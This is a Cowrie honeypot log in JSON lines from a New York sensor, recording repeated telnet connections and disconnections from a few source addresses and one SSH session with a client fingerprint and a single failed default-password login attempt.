{"eventid":"cowrie.session.closed","duration":31.63046956062317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.675752Z","src_ip":"185.111.235.80","session":"66b151802be1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":53012,"dst_ip":"10.17.0.5","dst_port":23,"session":"442e0240326c","protocol":"telnet","message":"New connection: 108.61.242.114:53012 (10.17.0.5:23) [session: 442e0240326c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.735162Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33754,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e573ea0b592","protocol":"telnet","message":"New connection: 185.111.235.80:33754 (10.17.0.5:23) [session: 6e573ea0b592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.779429Z"}
{"eventid":"cowrie.session.closed","duration":43.79438042640686,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.884839Z","src_ip":"185.111.235.80","session":"d35db6df7ba4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":53014,"dst_ip":"10.17.0.5","dst_port":23,"session":"7632418882bb","protocol":"telnet","message":"New connection: 108.61.242.114:53014 (10.17.0.5:23) [session: 7632418882bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:26.906248Z"}
{"eventid":"cowrie.session.closed","duration":30.967338800430298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.011914Z","src_ip":"185.111.235.80","session":"c2228f0e81d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dfd504f7972","protocol":"telnet","message":"New connection: 185.111.235.80:34884 (10.17.0.5:23) [session: 7dfd504f7972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.067931Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35648,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1cf396e7fca","protocol":"telnet","message":"New connection: 185.111.235.80:35648 (10.17.0.5:23) [session: e1cf396e7fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.186133Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35814,"dst_ip":"10.17.0.5","dst_port":23,"session":"994511e7da83","protocol":"telnet","message":"New connection: 185.111.235.80:35814 (10.17.0.5:23) [session: 994511e7da83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.226524Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":53024,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b68584b7247","protocol":"telnet","message":"New connection: 108.61.242.114:53024 (10.17.0.5:23) [session: 3b68584b7247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.407160Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37932,"dst_ip":"10.17.0.5","dst_port":23,"session":"20acb93138c8","protocol":"telnet","message":"New connection: 185.111.235.80:37932 (10.17.0.5:23) [session: 20acb93138c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.686984Z"}
{"eventid":"cowrie.session.closed","duration":30.729416370391846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.891129Z","src_ip":"185.111.235.80","session":"8f70f4611230","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940613746643066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:27.992946Z","src_ip":"185.111.235.80","session":"c19b3520c0df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.373281717300415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:28.021796Z","src_ip":"185.111.235.80","session":"51e366e7b393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59780,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d295e38b6f4","protocol":"telnet","message":"New connection: 108.61.242.114:59780 (10.17.0.5:23) [session: 5d295e38b6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:28.082830Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39730,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec884385d52c","protocol":"telnet","message":"New connection: 185.111.235.80:39730 (10.17.0.5:23) [session: ec884385d52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:28.120005Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42914,"dst_ip":"10.17.0.5","dst_port":23,"session":"818b7ffe9b83","protocol":"telnet","message":"New connection: 185.111.235.80:42914 (10.17.0.5:23) [session: 818b7ffe9b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:28.909466Z"}
{"eventid":"cowrie.session.closed","duration":30.987459897994995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:28.956134Z","src_ip":"185.111.235.80","session":"66110856ba1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73935604095459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:28.980833Z","src_ip":"185.111.235.80","session":"180b02624abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.314358234405518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.038648Z","src_ip":"185.111.235.80","session":"e7890b68f5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83408260345459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.071050Z","src_ip":"185.111.235.80","session":"8016392703a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84393286705017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.184098Z","src_ip":"117.120.7.112","session":"a6ddf774b8da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59794,"dst_ip":"10.17.0.5","dst_port":23,"session":"490962023a46","protocol":"telnet","message":"New connection: 108.61.242.114:59794 (10.17.0.5:23) [session: 490962023a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.313436Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1e2e2361de8","protocol":"telnet","message":"New connection: 185.111.235.80:45068 (10.17.0.5:23) [session: d1e2e2361de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.347083Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59804,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a53d226a9d","protocol":"telnet","message":"New connection: 108.61.242.114:59804 (10.17.0.5:23) [session: 60a53d226a9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.552845Z"}
{"eventid":"cowrie.session.closed","duration":30.803159952163696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.883825Z","src_ip":"185.111.235.80","session":"3b8d1c69ec9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.189961194992065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:29.962209Z","src_ip":"185.111.235.80","session":"0a4cd8faf726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47922,"dst_ip":"10.17.0.5","dst_port":23,"session":"055f9d2a89dd","protocol":"telnet","message":"New connection: 185.111.235.80:47922 (10.17.0.5:23) [session: 055f9d2a89dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.045737Z"}
{"eventid":"cowrie.session.closed","duration":31.014209032058716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.069121Z","src_ip":"185.111.235.80","session":"bac6b19c25fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d486f9ee3a","protocol":"telnet","message":"New connection: 185.111.235.80:48910 (10.17.0.5:23) [session: b8d486f9ee3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.213365Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49856,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e0ff818d5e2","protocol":"telnet","message":"New connection: 185.111.235.80:49856 (10.17.0.5:23) [session: 5e0ff818d5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.455504Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45500,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a2f3e669de","protocol":"telnet","message":"New connection: 185.111.235.80:45500 (10.17.0.5:23) [session: f6a2f3e669de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.479695Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50010,"dst_ip":"10.17.0.5","dst_port":23,"session":"e585e898d75b","protocol":"telnet","message":"New connection: 185.111.235.80:50010 (10.17.0.5:23) [session: e585e898d75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.496007Z"}
{"eventid":"cowrie.session.closed","duration":30.60419201850891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.887688Z","src_ip":"185.111.235.80","session":"a3165505c2e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915126085281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:30.913034Z","src_ip":"185.111.235.80","session":"e301164169bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59816,"dst_ip":"10.17.0.5","dst_port":23,"session":"92bbdd2e890b","protocol":"telnet","message":"New connection: 108.61.242.114:59816 (10.17.0.5:23) [session: 92bbdd2e890b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.004436Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59832,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3a7ab645ca1","protocol":"telnet","message":"New connection: 108.61.242.114:59832 (10.17.0.5:23) [session: e3a7ab645ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.119443Z"}
{"eventid":"cowrie.session.closed","duration":30.960240125656128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.131225Z","src_ip":"185.111.235.80","session":"e7801f60316d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":53876,"dst_ip":"10.17.0.5","dst_port":23,"session":"0644eb1d58c8","protocol":"telnet","message":"New connection: 185.111.235.80:53876 (10.17.0.5:23) [session: 0644eb1d58c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.317170Z"}
{"eventid":"cowrie.session.closed","duration":31.38278079032898,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.424201Z","src_ip":"185.111.235.80","session":"8a6536e57848","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431152820587158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.645400Z","src_ip":"185.111.235.80","session":"a2845186fd01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91de7a05448","protocol":"telnet","message":"New connection: 108.61.242.114:59840 (10.17.0.5:23) [session: f91de7a05448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.829639Z"}
{"eventid":"cowrie.session.closed","duration":30.449463367462158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.893256Z","src_ip":"185.111.235.80","session":"01769769c2cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49410915374756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:31.970262Z","src_ip":"185.111.235.80","session":"e405d3609d6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853818893432617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.063859Z","src_ip":"117.120.7.112","session":"81282ac5ae29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59854,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b3607630e1","protocol":"telnet","message":"New connection: 108.61.242.114:59854 (10.17.0.5:23) [session: 75b3607630e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.099755Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52564,"dst_ip":"10.17.0.5","dst_port":23,"session":"2270877876bc","protocol":"telnet","message":"New connection: 185.111.235.80:52564 (10.17.0.5:23) [session: 2270877876bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.110640Z"}
{"eventid":"cowrie.session.closed","duration":30.74712610244751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.158388Z","src_ip":"117.120.7.112","session":"1f0ed0d48229","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57894,"dst_ip":"10.17.0.5","dst_port":23,"session":"2420445a53bf","protocol":"telnet","message":"New connection: 185.111.235.80:57894 (10.17.0.5:23) [session: 2420445a53bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.200610Z"}
{"eventid":"cowrie.session.closed","duration":17.74095869064331,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.219279Z","src_ip":"185.111.235.80","session":"24909deb0bc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":32864,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f1487ff2e1a","protocol":"ssh","message":"New connection: 176.65.139.103:32864 (10.17.0.5:22) [session: 9f1487ff2e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.300916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.307188Z","src_ip":"176.65.139.103","session":"9f1487ff2e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.392308Z","src_ip":"176.65.139.103","session":"9f1487ff2e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.697969Z","src_ip":"176.65.139.103","session":"9f1487ff2e1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60798,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb46b9c1c34e","protocol":"telnet","message":"New connection: 185.111.235.80:60798 (10.17.0.5:23) [session: cb46b9c1c34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.813428Z"}
{"eventid":"cowrie.session.closed","duration":30.598636865615845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:32.920522Z","src_ip":"185.111.235.80","session":"9149ecf4d5ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012974977493286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:33.114154Z","src_ip":"185.111.235.80","session":"554288ffd7ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59856,"dst_ip":"10.17.0.5","dst_port":23,"session":"47fb4ba0c33b","protocol":"telnet","message":"New connection: 108.61.242.114:59856 (10.17.0.5:23) [session: 47fb4ba0c33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:33.550217Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:33.836949Z","src_ip":"176.65.139.103","session":"9f1487ff2e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.754631996154785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:33.943128Z","src_ip":"185.111.235.80","session":"b7b0cca39162","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6dc48df8107","protocol":"telnet","message":"New connection: 185.111.235.80:38290 (10.17.0.5:23) [session: b6dc48df8107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:34.040017Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39244,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3f2ab3512e4","protocol":"telnet","message":"New connection: 185.111.235.80:39244 (10.17.0.5:23) [session: f3f2ab3512e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:34.212306Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39838,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fe56b19f3a4","protocol":"telnet","message":"New connection: 185.111.235.80:39838 (10.17.0.5:23) [session: 8fe56b19f3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:34.357090Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":40606,"dst_ip":"10.17.0.5","dst_port":23,"session":"204aee727f2d","protocol":"telnet","message":"New connection: 185.111.235.80:40606 (10.17.0.5:23) [session: 204aee727f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:34.505285Z"}
{"eventid":"cowrie.session.closed","duration":30.73737931251526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:35.022206Z","src_ip":"185.111.235.80","session":"912d6a3da66b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958017110824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:35.067177Z","src_ip":"185.111.235.80","session":"833d1a0097b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98956871032715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:35.190608Z","src_ip":"185.111.235.80","session":"2ddfb9395e6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96633768081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:35.445398Z","src_ip":"117.120.7.112","session":"6b645fe2cd60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.165098905563354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:35.478812Z","src_ip":"185.111.235.80","session":"817ffdace015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658438444137573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:36.356543Z","src_ip":"117.120.7.112","session":"825ef3d52f68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767832040786743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:36.545446Z","src_ip":"185.111.235.80","session":"59f4d3360ec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.365382432937622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:36.711694Z","src_ip":"185.111.235.80","session":"7f75b7311f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":59868,"dst_ip":"10.17.0.5","dst_port":23,"session":"b451ab063caa","protocol":"telnet","message":"New connection: 108.61.242.114:59868 (10.17.0.5:23) [session: b451ab063caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:36.746657Z"}
{"eventid":"cowrie.session.closed","duration":30.191936254501343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:36.967276Z","src_ip":"185.111.235.80","session":"05b0ae405b13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19036626815796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:37.000768Z","src_ip":"108.61.242.114","session":"ae370eb84c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c3578a7a35","protocol":"telnet","message":"New connection: 185.111.235.80:54294 (10.17.0.5:23) [session: 60c3578a7a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:37.403300Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":54788,"dst_ip":"10.17.0.5","dst_port":23,"session":"68be2c5ff2cd","protocol":"telnet","message":"New connection: 185.111.235.80:54788 (10.17.0.5:23) [session: 68be2c5ff2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:28:37.533612Z"}
